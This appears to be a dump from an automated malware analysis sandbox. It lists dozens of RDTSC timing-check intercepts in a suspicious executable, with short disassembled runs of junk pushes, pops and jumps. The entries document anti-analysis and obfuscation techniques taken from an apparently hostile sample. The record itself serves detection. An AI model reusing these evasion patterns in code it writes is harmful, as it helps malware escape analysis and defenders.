Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 480403 second address: 48040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48040E second address: 480414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 480414 second address: 48041A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4805BE second address: 4805C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4861AC second address: 4861C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C366h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4861C8 second address: 4861CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4892AA second address: 4892E1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BF4B2C375h 0x00000008 jmp 00007F6BF4B2C369h 0x0000000d je 00007F6BF4B2C356h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F6BF4B2C35Ch 0x0000001d ja 00007F6BF4B2C356h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4892E1 second address: 4892F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488AE9 second address: 488B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6BF4B2C356h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F6BF4B2C369h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6BF4B2C368h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488B30 second address: 488B3C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6BF4F65156h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488B3C second address: 488B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488CC2 second address: 488CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488CC6 second address: 488CDD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6BF4B2C356h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007F6BF4B2C356h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488E56 second address: 488E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6BF4F6516Fh 0x0000000a jmp 00007F6BF4F65163h 0x0000000f ja 00007F6BF4F65156h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 488FC7 second address: 488FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48E67E second address: 48E68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 je 00007F6BF4F65156h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48E93F second address: 48E945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48E945 second address: 48E96D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65162h 0x00000007 jmp 00007F6BF4F65162h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EC27 second address: 48EC4F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6BF4B2C356h 0x00000008 jno 00007F6BF4B2C356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F6BF4B2C368h 0x00000016 jmp 00007F6BF4B2C360h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EC4F second address: 48EC55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43ED3E second address: 43EDCA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jng 00007F6BF4B2C360h 0x00000012 pushad 0x00000013 jbe 00007F6BF4B2C356h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F6BF4B2C358h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 jns 00007F6BF4B2C364h 0x0000003d push 00000004h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F6BF4B2C358h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d jmp 00007F6BF4B2C35Ah 0x00000062 pushad 0x00000063 popad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43EDCA second address: 43EDDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F6515Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43EDDC second address: 43EDE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EDD1 second address: 48EDDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EDDD second address: 48EE15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BF4B2C35Fh 0x0000000b popad 0x0000000c pushad 0x0000000d jp 00007F6BF4B2C358h 0x00000013 jmp 00007F6BF4B2C364h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EE15 second address: 48EE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F6515Fh 0x00000009 jnl 00007F6BF4F65156h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EE32 second address: 48EE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6BF4B2C356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EF8C second address: 48EFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007F6BF4F65156h 0x0000000c jnp 00007F6BF4F65156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EFA0 second address: 48EFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EFA5 second address: 48EFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F6515Bh 0x00000009 jmp 00007F6BF4F65167h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EFCB second address: 48EFE9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jng 00007F6BF4B2C356h 0x00000015 push edx 0x00000016 pop edx 0x00000017 jc 00007F6BF4B2C356h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 48EFE9 second address: 48EFEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 494A5C second address: 494A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4B2C363h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 493D57 second address: 493D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 493ECE second address: 493ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49437F second address: 494389 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4F65156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 494507 second address: 49450C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49450C second address: 494512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49466D second address: 494685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F6BF4B2C356h 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497351 second address: 497355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497355 second address: 497382 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C368h 0x00000007 jp 00007F6BF4B2C356h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007F6BF4B2C356h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497382 second address: 497388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497541 second address: 497546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497546 second address: 497557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F6BF4F65156h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 497965 second address: 49797D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6BF4B2C35Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E320 second address: 49E343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BF4F65166h 0x00000008 jns 00007F6BF4F65156h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E343 second address: 49E351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F6BF4B2C356h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E351 second address: 49E357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E357 second address: 49E363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E363 second address: 49E376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F6BF4F65156h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E4CF second address: 49E4D4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E654 second address: 49E669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E669 second address: 49E674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6BF4B2C356h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E674 second address: 49E688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BF4F6515Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49E688 second address: 49E690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49F1C7 second address: 49F1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49F756 second address: 49F75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49F75C second address: 49F76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F6BF4F6515Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49F76B second address: 49F76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49F76F second address: 49F779 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BF4F65162h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49FD06 second address: 49FD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 49FD0A second address: 49FD21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BF4F6515Ch 0x0000000b push esi 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A196B second address: 4A1979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A58A5 second address: 4A58B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6BF4F65156h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F6BF4F65156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A58B8 second address: 4A58D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F6BF4B2C356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F6BF4B2C356h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A58D4 second address: 4A58D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A4A7E second address: 4A4A86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A4A86 second address: 4A4AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F6BF4F6515Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6BF4F6515Dh 0x00000016 jnl 00007F6BF4F65166h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A4AC3 second address: 4A4AD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Eh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A4EFD second address: 4A4F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A5049 second address: 4A504F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A504F second address: 4A5060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F6BF4F65158h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A549F second address: 4A54A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A55E2 second address: 4A55F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BF4F65160h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4A55F8 second address: 4A561B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C369h 0x00000009 jns 00007F6BF4B2C356h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4AB893 second address: 4AB897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B35A3 second address: 4B35B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B1D7B second address: 4B1D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B1ED9 second address: 4B1EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B1EDF second address: 4B1EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B1EE3 second address: 4B1EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2045 second address: 4B204A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B204A second address: 4B2066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C368h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2066 second address: 4B2084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6BF4F65164h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2084 second address: 4B208A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B208A second address: 4B208E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B21F9 second address: 4B21FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2675 second address: 4B2679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2679 second address: 4B2685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2685 second address: 4B2689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2689 second address: 4B2697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2697 second address: 4B269B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
